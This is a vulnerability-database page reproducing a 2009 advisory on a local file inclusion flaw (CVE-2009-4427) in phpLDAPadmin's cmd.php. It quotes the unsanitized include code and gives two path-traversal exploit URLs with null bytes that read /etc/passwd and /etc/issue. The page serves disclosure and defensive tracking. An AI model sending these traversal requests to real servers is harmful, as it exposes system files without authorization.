phpLDAPadmin - Local File Inclusion
| Reporter | Title | Published | Views | Family All 24 |
|---|---|---|---|---|
| phpLDAPadmin < 1.2 Local File Inclusion | 7 Jan 201000:00 | – | nessus | |
| Debian DSA-1965-1 : phpldapadmin - missing input sanitising | 24 Feb 201000:00 | – | nessus | |
| phpLDAPadmin cmd.php cmd Parameter Local File Inclusion | 23 Dec 200900:00 | – | nessus | |
| CVE-2009-4427 | 10 Dec 200900:00 | – | circl | |
| CVE-2009-4427 | 28 Dec 200918:27 | – | cve | |
| CVE-2009-4427 | 28 Dec 200918:27 | – | cvelist | |
| [SECURITY] [DSA-1965-1] New phpldapadmin packages fix remote file inclusion | 6 Jan 201018:28 | – | debian | |
| CVE-2009-4427 | 28 Dec 200918:27 | – | debiancve | |
| K55248799: phpLDAPAdmin vulnerabilities CVE-2005-2654, CVE-2005-2792, CVE-2005-2793, CVE-2006-2016, and CVE-2009-4427 | 21 Feb 202318:34 | – | f5 | |
| SOL55248799 - phpLDAPAdmin vulnerabilities CVE-2005-2654, CVE-2005-2792, CVE-2005-2793, CVE-2006-2016, and CVE-2009-4427 | 10 Aug 201600:00 | – | f5 |
10
########################################################################
# PHPLDAPADMIN LOCAL FILE INCLUSION
########################################################################
author : ipsecs
website : http://ipsecs.com
Date : December, 10th, 2009
-[i]- Description
"Phpldapadmin is web based LDAP client which provides easy,
anywhere-accessible, multi-language administration for LDAP
server."
http://phpldapadmin.sourceforge.net
vulnerable version:
phpldapadmin 1.1.0.5
Ubuntu 8.10
Debian 5.0
Other version may be affected
-[ii]- Vulnerable Code
Vulnerable code is found in cmd.php which doesn't sanitize
URI parameter provided by user input.
line 10
$www['cmd'] = get_request('cmd','REQUEST');
line 22-27
if (defined('HOOKSDIR') && file_exists(HOOKSDIR.$www['cmd'].'.php'))
$file = HOOKSDIR.$www['cmd'].'.php';
elseif (defined('HTDOCDIR') && file_exists(HTDOCDIR.$www['cmd'].'.php'))
$file = HTDOCDIR.$www['cmd'].'.php';
line 38-39
if ($file)
include $file;
Attacker may view any arbitrary files trough 'cmd' parameter
in URI request.
-[iii]- Exploit
http://server/phpldapadmin/cmd.php?cmd=../../../../etc/passwd%00
http://server/phpldapadmin/cmd.php?cmd=../../../../issue%00
-[iv]- Fix
Sanitize $file before being included. Unfortunaltely there is
no working patch at this time.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Dec 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.09996